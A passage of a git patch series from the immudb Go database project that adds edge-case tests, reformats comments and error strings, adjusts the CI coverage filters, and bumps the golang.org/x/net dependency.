NewJSONLogger(nil) + require.NoError(t, err) + + logger.SetLogLevel(LogDebug) + require.EqualValues(t, LogDebug, logger.level) + var buf bytes.Buffer - logger, err := NewJSONLogger(&Options{ + logger, err = NewJSONLogger(&Options{ Name: "test", Output: &buf, }) From 3bd7091bc1df954ce40a8a24089c2d4f827e8131 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 9 Oct 2023 11:51:24 +0200 Subject: [PATCH 0839/1062] test(embedded/sql): cover some sql edge cases Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog_test.go | 2 ++ embedded/sql/engine_test.go | 3 +++ 2 files changed, 5 insertions(+) diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index 2e5e41c91d..4e04656a16 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -279,6 +279,8 @@ func TestCatalogTableLength(t *testing.T) { require.NoError(t, err) require.Equal(t, totalTablesCount, tab.id) + _, err = tab.GetIndexByName("invalid_index") + require.ErrorIs(t, err, ErrIndexNotFound) }) t.Run("cancelling a transaction should not increase table count", func(t *testing.T) { diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 602fe74218..e6616ee2de 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -1243,6 +1243,9 @@ func TestAlterTableDropColumn(t *testing.T) { require.NoError(t, err) }) + _, _, err = engine.Exec(context.Background(), nil, "DROP INDEX ON table1(id)", nil) + require.ErrorIs(t, err, ErrIllegalArguments) + t.Run("fail to drop indexed from table that does not exist", func(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table2 DROP COLUMN active", nil) require.ErrorIs(t, err, ErrTableDoesNotExist) From 50846ecc3f87619b0f569fce8d2b90a477fe1a35 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 9 Oct 2023 12:01:06 +0200 Subject: [PATCH 0840/1062] test(embedded/store): cover some edge cases Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 20 ++++++++------------ embedded/store/immustore_test.go | 7 +++++++ 2 files changed, 15 insertions(+), 12 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index a93f9cefa1..122b960de6 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -2482,8 +2482,7 @@ func (s *ImmuStore) LinearAdvanceProof(sourceTxID, targetTxID uint64, targetBlTx } if targetTxID <= sourceTxID+1 { - // Additional proof is not needed - return nil, nil + return nil, nil // Additional proof is not needed } tx, err := s.fetchAllocTx() @@ -2545,10 +2544,11 @@ func (s *ImmuStore) txOffsetAndSize(txID uint64) (int64, int, error) { if errors.Is(err, multiapp.ErrAlreadyClosed) || errors.Is(err, singleapp.ErrAlreadyClosed) { return 0, 0, ErrAlreadyClosed } + + // A partially readable commit record must be discarded - + // - it is a result of incomplete commit-log write + // and will be overwritten on the next commit if errors.Is(err, io.EOF) { - // A partially readable commit record must be discarded - - // - it is a result of incomplete commit-log write - // and will be overwritten on the next commit return 0, 0, ErrTxNotFound } if err != nil { @@ -3142,8 +3142,7 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, s vLogID, offset := decodeOffset(off) if !s.embeddedValues && vLogID == 0 && len(b) > 0 { - // it means value was not stored on any vlog i.e. a truncated transaction was replicated - return 0, io.EOF + return 0, io.EOF // it means value was not stored on any vlog i.e. a truncated transaction was replicated } if len(b) > 0 { @@ -3152,12 +3151,9 @@ func (s *ImmuStore) readValueAt(b []byte, off int64, hvalue [sha256.Size]byte, s if s.vLogCache != nil { val, err := s.vLogCache.Get(off) if err == nil { - // the requested value was found in the value cache - bval := val.([]byte) - + bval := val.([]byte) // the requested value was found in the value cache copy(b, bval) n = len(bval) - foundInTheCache = true } else if !errors.Is(err, cache.ErrKeyNotFound) { return 0, err @@ -3580,8 +3576,8 @@ func (s *ImmuStore) TruncateUptoTx(minTxID uint64) error { var i uint64 = minTxID for i > 0 && len(tombstones) != s.MaxIOConcurrency() { err := back(i) + // if there is an error reading a transaction, stop the traversal and return the error. if err != nil && !errors.Is(err, ErrTxEntryIndexOutOfRange) /* tx has entries*/ { - // if there is an error reading a transaction, stop the traversal and return the error. s.logger.Errorf("failed to fetch transaction %d {traversal=back, err = %v}", i, err) return err } diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index e4534cc529..48e56d54e0 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -1089,6 +1089,13 @@ func TestImmudbStoreIndexing(t *testing.T) { val, err := valRef.Resolve() require.NoError(t, err) require.Equal(t, []byte("value2"), val) + + key, _, err := immuStore.GetWithPrefix(context.Background(), []byte("k"), []byte("k")) + require.NoError(t, err) + require.Equal(t, []byte("key"), key) + + _, err = immuStore.GetBetween(context.Background(), []byte("key"), 1, valRef.Tx()) + require.NoError(t, err) }) } From c9b1ec733bb7d406078f4aa9b8858c652f26bc74 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 9 Oct 2023 12:25:43 +0200 Subject: [PATCH 0841/1062] chore: align covered packages when pulling and merging Signed-off-by: Jeronimo Irazabal --- .github/workflows/pull.yml | 4 ++-- .github/workflows/push.yml | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/pull.yml b/.github/workflows/pull.yml index 5bd47aebf5..c259caa9a3 100644 --- a/.github/workflows/pull.yml +++ b/.github/workflows/pull.yml @@ -151,8 +151,8 @@ jobs: export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger --tags minio || true - cat coverage.txt | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out + ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,fs,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger --tags minio || true + cat coverage.txt | grep -v "test" | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "fs" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} # Stop minio diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 2ff8b5b7bc..574f3ee34f 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -318,8 +318,8 @@ jobs: export PATH=$PATH:$(go env GOPATH)/bin set -o pipefail - ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger --tags minio || true - cat coverage.txt | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" > coverage.out + ./ext-tools/go-acc ./... --covermode=atomic --ignore test,immuclient,immuadmin,helper,fs,cmdtest,sservice,version,tools,webconsole,protomodel,schema,swagger --tags minio || true + cat coverage.txt | grep -v "test" | grep -v "schema" | grep -v "protomodel" | grep -v "swagger" | grep -v "webserver.go" | grep -v "immuclient" | grep -v "immuadmin" | grep -v "helper" | grep -v "fs" | grep -v "cmdtest" | grep -v "sservice" | grep -v "version" | grep -v "tools" | grep -v "webconsole" > coverage.out ./ext-tools/goveralls -coverprofile=coverage.out -service=gh-ci -repotoken ${{ secrets.COVERALLS_TOKEN }} # Stop minio From e8be066eec4dbd6be301ca24bddaa0d435c7e2ae Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 9 Oct 2023 12:26:10 +0200 Subject: [PATCH 0842/1062] test(pkg/database): cover some edge cases Signed-off-by: Jeronimo Irazabal --- pkg/database/all_ops.go | 8 ++------ pkg/database/database.go | 3 +-- pkg/database/scan.go | 9 ++------- pkg/database/sorted_set.go | 9 ++------- pkg/integration/session_test.go | 7 +++++++ pkg/server/server_test.go | 3 +++ 6 files changed, 17 insertions(+), 22 deletions(-) diff --git a/pkg/database/all_ops.go b/pkg/database/all_ops.go index 7c4a1daad1..76005f2ad6 100644 --- a/pkg/database/all_ops.go +++ b/pkg/database/all_ops.go @@ -99,9 +99,7 @@ func (d *db) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.T _, exists := kmap[sha256.Sum256(x.Ref.ReferencedKey)] if req.NoWait && !exists { - return nil, nil, fmt.Errorf( - "%w: can not create a reference to a key that was not set in the same transaction", - ErrNoWaitOperationMustBeSelfContained) + return nil, nil, fmt.Errorf("%w: can not create a reference to a key that was not set in the same transaction", ErrNoWaitOperationMustBeSelfContained) } if !req.NoWait { @@ -161,9 +159,7 @@ func (d *db) ExecAll(ctx context.Context, req *schema.ExecAllRequest) (*schema.T _, exists := kmap[sha256.Sum256(x.ZAdd.Key)] if req.NoWait && !exists { - return nil, nil, fmt.Errorf( - "%w: can not create a reference into a set for a key that was not set in the same transaction", - ErrNoWaitOperationMustBeSelfContained) + return nil, nil, fmt.Errorf("%w: can not create a reference into a set for a key that was not set in the same transaction", ErrNoWaitOperationMustBeSelfContained) } if !req.NoWait { diff --git a/pkg/database/database.go b/pkg/database/database.go index b01a1f5064..d1ea7559ad 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1046,8 +1046,7 @@ func (d *db) serializeTx(ctx context.Context, tx *store.Tx, spec *schema.Entries kve, err := d.resolveValue(ctx, e.Key(), v, 0, tx.Header().ID, e.Metadata(), index, 0, skipIntegrityCheck) if errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, store.ErrExpiredEntry) { - // ignore deleted ones (referenced key may have been deleted) - break + break // ignore deleted ones (referenced key may have been deleted) } if err != nil { return nil, err diff --git a/pkg/database/scan.go b/pkg/database/scan.go index 504f0e13af..e043b4c00e 100644 --- a/pkg/database/scan.go +++ b/pkg/database/scan.go @@ -92,13 +92,8 @@ func (d *db) Scan(ctx context.Context, req *schema.ScanRequest) (*schema.Entries } e, err := d.getAtTx(ctx, key, valRef.Tx(), 0, snap, valRef.HC(), true) - if errors.Is(err, store.ErrKeyNotFound) { - // ignore deleted ones (referenced key may have been deleted) - continue - } - if errors.Is(err, io.EOF) { - // ignore truncated values (referenced value may have been truncated) - continue + if errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, io.EOF) { + continue // ignore deleted or truncated ones (referenced key may have been deleted or truncated) } if err != nil { return nil, err diff --git a/pkg/database/sorted_set.go b/pkg/database/sorted_set.go index cc47237313..9bc4629d59 100644 --- a/pkg/database/sorted_set.go +++ b/pkg/database/sorted_set.go @@ -215,13 +215,8 @@ func (d *db) ZScan(ctx context.Context, req *schema.ZScanRequest) (*schema.ZEntr atTx := binary.BigEndian.Uint64(zKey[keyOff+len(key):]) e, err := d.getAtTx(ctx, key, atTx, 1, kvsnap, 0, true) - if errors.Is(err, store.ErrKeyNotFound) { - // ignore deleted ones (referenced key may have been deleted) - continue - } - if errors.Is(err, io.EOF) { - // ignore truncated values (referenced value may have been truncated) - continue + if errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, io.EOF) { + continue // ignore deleted or truncated ones (referenced key may have been deleted or truncated) } if err != nil { return nil, err diff --git a/pkg/integration/session_test.go b/pkg/integration/session_test.go index 7e0087d403..63e3c574df 100644 --- a/pkg/integration/session_test.go +++ b/pkg/integration/session_test.go @@ -33,6 +33,7 @@ import ( "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" + "google.golang.org/protobuf/types/known/emptypb" ) func TestSession_OpenCloseSession(t *testing.T) { @@ -46,9 +47,15 @@ func TestSession_OpenCloseSession(t *testing.T) { err = client.CloseSession(context.Background()) require.NoError(t, err) + err = client.CloseSession(context.Background()) + require.Error(t, err) + err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) + client.GetServiceClient().KeepAlive(context.Background(), &emptypb.Empty{}) + require.NoError(t, err) + entry, err := client.Get(context.Background(), []byte("myKey")) require.NoError(t, err) require.NotNil(t, entry) diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index b763ff8fc8..7c804bf967 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -2036,6 +2036,9 @@ func TestServerDatabaseTruncate(t *testing.T) { }) require.NoError(t, err) + _, err = s.KeepAlive(context.Background(), &emptypb.Empty{}) + require.Error(t, err) + ctx := metadata.NewIncomingContext(context.Background(), metadata.New(map[string]string{"sessionid": resp.GetSessionID()})) _, err = s.KeepAlive(ctx, &emptypb.Empty{}) From f9f0fcc2acab3bb118c312f4c6f0bd1c4918caa4 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 9 Oct 2023 13:47:12 +0200 Subject: [PATCH 0843/1062] test(embedded/sql): cover reserved name cases Signed-off-by: Jeronimo Irazabal --- embedded/sql/catalog_test.go | 3 +++ embedded/sql/engine_test.go | 5 ++++- pkg/database/database.go | 15 +++++---------- pkg/server/server.go | 6 ++---- pkg/server/session.go | 1 - 5 files changed, 14 insertions(+), 16 deletions(-) diff --git a/embedded/sql/catalog_test.go b/embedded/sql/catalog_test.go index 4e04656a16..534150a2ed 100644 --- a/embedded/sql/catalog_test.go +++ b/embedded/sql/catalog_test.go @@ -62,6 +62,9 @@ func TestFromEmptyCatalog(t *testing.T) { require.NoError(t, err) require.Equal(t, "table1", table.Name()) + _, err = table.newColumn(&ColSpec{colName: revCol, colType: IntegerType}) + require.ErrorIs(t, err, ErrReservedWord) + _, err = table.newIndex(true, []uint32{1}) require.NoError(t, err) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index e6616ee2de..1ba6082282 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5574,7 +5574,10 @@ func TestTemporalQueries(t *testing.T) { func TestHistoricalQueries(t *testing.T) { engine := setupCommonTest(t) - _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER, title VARCHAR[50], PRIMARY KEY id)", nil) + _, _, err := engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER, title VARCHAR[50], _rev INTEGER, PRIMARY KEY id)", nil) + require.ErrorIs(t, err, ErrReservedWord) + + _, _, err = engine.Exec(context.Background(), nil, "CREATE TABLE table1(id INTEGER, title VARCHAR[50], PRIMARY KEY id)", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(title)", nil) diff --git a/pkg/database/database.go b/pkg/database/database.go index d1ea7559ad..693a9a62ce 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1103,8 +1103,7 @@ func (d *db) serializeTx(ctx context.Context, tx *store.Tx, spec *schema.Entries if snap != nil { entry, err = d.getAtTx(ctx, key, atTx, 1, snap, 0, skipIntegrityCheck) if errors.Is(err, store.ErrKeyNotFound) || errors.Is(err, store.ErrExpiredEntry) { - // ignore deleted ones (referenced key may have been deleted) - break + break // ignore deleted ones (referenced key may have been deleted) } if err != nil { return nil, err @@ -1244,8 +1243,7 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb if req.ReplicaState.CommittedTxID > 0 { // validate replica commit state if req.ReplicaState.CommittedTxID > committedTxID { - return nil, committedTxID, committedAlh, - fmt.Errorf("%w: replica commit state diverged from primary's", ErrReplicaDivergedFromPrimary) + return nil, committedTxID, committedAlh, fmt.Errorf("%w: replica commit state diverged from primary's", ErrReplicaDivergedFromPrimary) } // integrityCheck is currently required to validate Alh @@ -1257,16 +1255,14 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb replicaCommittedAlh := schema.DigestFromProto(req.ReplicaState.CommittedAlh) if expectedReplicaCommitHdr.Alh() != replicaCommittedAlh { - return nil, expectedReplicaCommitHdr.ID, expectedReplicaCommitHdr.Alh(), - fmt.Errorf("%w: replica commit state diverged from primary's", ErrReplicaDivergedFromPrimary) + return nil, expectedReplicaCommitHdr.ID, expectedReplicaCommitHdr.Alh(), fmt.Errorf("%w: replica commit state diverged from primary's", ErrReplicaDivergedFromPrimary) } } if req.ReplicaState.PrecommittedTxID > 0 { // validate replica precommit state if req.ReplicaState.PrecommittedTxID > preCommittedTxID { - return nil, committedTxID, committedAlh, - fmt.Errorf("%w: replica precommit state diverged from primary's", ErrReplicaDivergedFromPrimary) + return nil, committedTxID, committedAlh, fmt.Errorf("%w: replica precommit state diverged from primary's", ErrReplicaDivergedFromPrimary) } // integrityCheck is currently required to validate Alh @@ -1278,8 +1274,7 @@ func (d *db) ExportTxByID(ctx context.Context, req *schema.ExportTxRequest) (txb replicaPreCommittedAlh := schema.DigestFromProto(req.ReplicaState.PrecommittedAlh) if expectedReplicaPrecommitHdr.Alh() != replicaPreCommittedAlh { - return nil, expectedReplicaPrecommitHdr.ID, expectedReplicaPrecommitHdr.Alh(), - fmt.Errorf("%w: replica precommit state diverged from primary's", ErrReplicaDivergedFromPrimary) + return nil, expectedReplicaPrecommitHdr.ID, expectedReplicaPrecommitHdr.Alh(), fmt.Errorf("%w: replica precommit state diverged from primary's", ErrReplicaDivergedFromPrimary) } // primary will provide commit state to the replica so it can commit pre-committed transactions diff --git a/pkg/server/server.go b/pkg/server/server.go index 05f25e3d1f..f129f9fc90 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -427,8 +427,7 @@ func (s *ImmuServer) loadSystemDatabase( if err == nil { s.sysDB, err = database.OpenDB(dbOpts.Database, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger) if err != nil { - s.Logger.Errorf("database '%s' was not correctly initialized.\n"+ - "Use replication to recover from external source or start without data folder.", dbOpts.Database) + s.Logger.Errorf("database '%s' was not correctly initialized.\n"+"Use replication to recover from external source or start without data folder.", dbOpts.Database) return err } @@ -523,8 +522,7 @@ func (s *ImmuServer) loadDefaultDatabase(dataDir string, remoteStorage remotesto if err == nil { db, err := database.OpenDB(dbOpts.Database, s.multidbHandler(), s.databaseOptionsFrom(dbOpts), s.Logger) if err != nil { - s.Logger.Errorf("database '%s' was not correctly initialized.\n"+ - "Use replication to recover from external source or start without data folder.", dbOpts.Database) + s.Logger.Errorf("database '%s' was not correctly initialized.\n"+"Use replication to recover from external source or start without data folder.", dbOpts.Database) return err } diff --git a/pkg/server/session.go b/pkg/server/session.go index 489e3a22ae..b95eebcdd4 100644 --- a/pkg/server/session.go +++ b/pkg/server/session.go @@ -60,7 +60,6 @@ func (s *ImmuServer) OpenSession(ctx context.Context, r *schema.OpenSessionReque (!u.HasPermission(r.DatabaseName, auth.PermissionAdmin)) && (!u.HasPermission(r.DatabaseName, auth.PermissionR)) && (!u.HasPermission(r.DatabaseName, auth.PermissionRW)) { - return nil, status.Errorf(codes.PermissionDenied, "Logged in user does not have permission on this database") } From 04a7c4c8c9a1bb28793e0e22e485290c76b9f2ec Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 9 Oct 2023 14:27:00 +0200 Subject: [PATCH 0844/1062] test(embedded/tbtree): nodeRef coverage Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/tbtree_test.go | 54 +++++++++++++++++++++++++++++++--- 1 file changed, 50 insertions(+), 4 deletions(-) diff --git a/embedded/tbtree/tbtree_test.go b/embedded/tbtree/tbtree_test.go index 4ce8a7d71f..75aadaf50c 100644 --- a/embedded/tbtree/tbtree_test.go +++ b/embedded/tbtree/tbtree_test.go @@ -34,6 +34,7 @@ import ( "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/mocked" "github.com/codenotary/immudb/embedded/appendable/multiapp" + "github.com/codenotary/immudb/embedded/appendable/singleapp" "github.com/stretchr/testify/require" ) @@ -1125,7 +1126,11 @@ func TestRandomInsertionWithConcurrentReaderOrder(t *testing.T) { func TestTBTreeReOpen(t *testing.T) { dir := t.TempDir() - tbtree, err := Open(dir, DefaultOptions()) + + opts := DefaultOptions().WithMaxKeySize(2).WithMaxValueSize(2) + opts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize)) + + tbtree, err := Open(dir, opts) require.NoError(t, err) err = tbtree.Insert([]byte("k0"), []byte("v0")) @@ -1134,14 +1139,16 @@ func TestTBTreeReOpen(t *testing.T) { _, _, err = tbtree.Flush() require.NoError(t, err) - err = tbtree.Insert([]byte("k1"), []byte("v1")) - require.NoError(t, err) + for i := 1; i < 10; i++ { + err = tbtree.Insert([]byte(fmt.Sprintf("k%d", i)), []byte(fmt.Sprintf("v%d", i))) + require.NoError(t, err) + } err = tbtree.Close() require.NoError(t, err) t.Run("reopening btree after gracefully close should read all data", func(t *testing.T) { - tbtree, err := Open(dir, DefaultOptions()) + tbtree, err := Open(dir, opts) require.NoError(t, err) _, _, _, err = tbtree.Get([]byte("k0")) @@ -1150,6 +1157,45 @@ func TestTBTreeReOpen(t *testing.T) { _, _, _, err = tbtree.Get([]byte("k1")) require.NoError(t, err) + root, isInnerNode := tbtree.root.(*innerNode) + require.True(t, isInnerNode) + + childNodeRef := root.nodes[0].(*nodeRef) + + require.False(t, childNodeRef.mutated()) + require.Positive(t, childNodeRef.minOffset()) + require.Positive(t, childNodeRef.offset()) + + sz, err := childNodeRef.size() + require.NoError(t, err) + require.Positive(t, sz) + + _, err = childNodeRef.setTs(root.ts()) + require.NoError(t, err) + + childNodeRef.off = -1 + + _, _, err = childNodeRef.insert(nil) + require.ErrorIs(t, err, singleapp.ErrNegativeOffset) + + _, _, _, err = childNodeRef.get(nil) + require.ErrorIs(t, err, singleapp.ErrNegativeOffset) + + _, _, _, err = childNodeRef.getBetween(nil, 1, 1) + require.ErrorIs(t, err, singleapp.ErrNegativeOffset) + + _, _, err = childNodeRef.history(nil, 0, true, 1) + require.ErrorIs(t, err, singleapp.ErrNegativeOffset) + + _, _, _, err = childNodeRef.findLeafNode(nil, nil, 0, nil, true) + require.ErrorIs(t, err, singleapp.ErrNegativeOffset) + + _, err = childNodeRef.setTs(root.ts()) + require.ErrorIs(t, err, singleapp.ErrNegativeOffset) + + _, err = childNodeRef.size() + require.ErrorIs(t, err, singleapp.ErrNegativeOffset) + err = tbtree.Close() require.NoError(t, err) }) From 114ea99d7147a6602ef4b64d11a7eaa60e2d2e69 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 10 Oct 2023 14:12:55 +0200 Subject: [PATCH 0845/1062] test(embedded/sql): uuid data-type coverage Signed-off-by: Jeronimo Irazabal --- embedded/sql/stmt_test.go | 69 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) diff --git a/embedded/sql/stmt_test.go b/embedded/sql/stmt_test.go index f5d63d9ed6..7a7cfe09da 100644 --- a/embedded/sql/stmt_test.go +++ b/embedded/sql/stmt_test.go @@ -22,6 +22,7 @@ import ( "testing" "time" + "github.com/google/uuid" "github.com/stretchr/testify/require" ) @@ -222,6 +223,22 @@ func TestRequiresTypeNumExpValueExp(t *testing.T) { requiredType: Float64Type, expectedError: ErrInvalidTypes, }, + { + exp: &UUID{val: uuid.New()}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: UUIDType, + expectedError: nil, + }, + { + exp: &UUID{val: uuid.New()}, + cols: cols, + params: params, + implicitTable: "mytable", + requiredType: Float64Type, + expectedError: ErrInvalidTypes, + }, } for i, tc := range testCases { @@ -686,6 +703,7 @@ func TestIsConstant(t *testing.T) { require.True(t, (&Varchar{}).isConstant()) require.True(t, (&Bool{}).isConstant()) require.True(t, (&Blob{}).isConstant()) + require.True(t, (&UUID{}).isConstant()) require.True(t, (&Timestamp{}).isConstant()) require.True(t, (&Param{}).isConstant()) require.False(t, (&ColSelector{}).isConstant()) @@ -962,3 +980,54 @@ func TestFloat64Type(t *testing.T) { err = ts.selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) require.NoError(t, err) } + +func TestUUIDType(t *testing.T) { + + id := &UUID{val: uuid.New()} + + t.Run("comparison functions", func(t *testing.T) { + cmp, err := id.Compare(&UUID{val: id.val}) + require.NoError(t, err) + require.Equal(t, 0, cmp) + + cmp, err = id.Compare(&UUID{val: uuid.New()}) + require.NoError(t, err) + require.NotZero(t, cmp) + + cmp, err = id.Compare(&NullValue{t: UUIDType}) + require.NoError(t, err) + require.Equal(t, 1, cmp) + + cmp, err = id.Compare(&NullValue{t: AnyType}) + require.NoError(t, err) + require.Equal(t, 1, cmp) + + _, err = id.Compare(&Float64{}) + require.ErrorIs(t, err, ErrNotComparableValues) + }) + + err := id.requiresType(UUIDType, map[string]ColDescriptor{}, map[string]string{}, "") + require.NoError(t, err) + + err = id.requiresType(IntegerType, map[string]ColDescriptor{}, map[string]string{}, "") + require.ErrorIs(t, err, ErrInvalidTypes) + + v, err := id.substitute(map[string]interface{}{}) + require.NoError(t, err) + require.Equal(t, id, v) + + v = id.reduceSelectors(&Row{}, "") + require.Equal(t, id, v) + + err = id.selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) + require.NoError(t, err) + + err = (&NullValue{}).selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) + require.NoError(t, err) + + err = (&Integer{}).selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) + require.NoError(t, err) + + err = (&Varchar{}).selectorRanges(&Table{}, "", map[string]interface{}{}, map[uint32]*typedValueRange{}) + require.NoError(t, err) +} From 8a58b708979504a04c89e69cc87931f1adec1b22 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Tue, 10 Oct 2023 18:53:04 +0000 Subject: [PATCH 0846/1062] chore(deps): bump golang.org/x/net from 0.15.0 to 0.17.0 Bumps [golang.org/x/net](https://github.com/golang/net) from 0.15.0 to 0.17.0. - [Commits](https://github.com/golang/net/compare/v0.15.0...v0.17.0) --- updated-dependencies: - dependency-name: golang.org/x/net dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- go.mod | 2 +- go.sum | 7 ++----- 2 files changed, 3 insertions(+), 6 deletions(-) diff --git a/go.mod b/go.mod index e8153ae349..7909919f76 100644 --- a/go.mod +++ b/go.mod @@ -35,7 +35,7 @@ require ( github.com/stretchr/testify v1.8.2 github.com/takama/daemon v0.12.0 golang.org/x/crypto v0.14.0 - golang.org/x/net v0.15.0 + golang.org/x/net v0.17.0 golang.org/x/sys v0.13.0 golang.org/x/tools/cmd/cover v0.1.0-deprecated google.golang.org/genproto/googleapis/api v0.0.0-20230822172742-b8732ec3820d diff --git a/go.sum b/go.sum index 37a3ffb985..6105e7d48e 100644 --- a/go.sum +++ b/go.sum @@ -1514,7 +1514,6 @@ golang.org/x/crypto v0.1.0/go.mod h1:RecgLatLF4+eUMCP1PoPZQb+cVrJcOPbHkTkbkB9sbw golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU= golang.org/x/crypto v0.9.0/go.mod h1:yrmDGqONDYtNj3tH8X9dzUun2m2lzPa9ngI6/RUPGR0= golang.org/x/crypto v0.12.0/go.mod h1:NF0Gs7EO5K4qLn+Ylc+fih8BSTeIjAP05siRnAh98yw= -golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= golang.org/x/crypto v0.14.0 h1:wBqGXzWJW6m1XrIKlAH0Hs1JJ7+9KBwnIO8v66Q9cHc= golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= golang.org/x/exp v0.0.0-20180321215751-8460e604b9de/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA= @@ -1646,8 +1645,8 @@ golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= -golang.org/x/net v0.15.0 h1:ugBLEUaxABaB5AJqW9enI0ACdci2RUd4eP51NTBvuJ8= -golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= +golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= +golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod 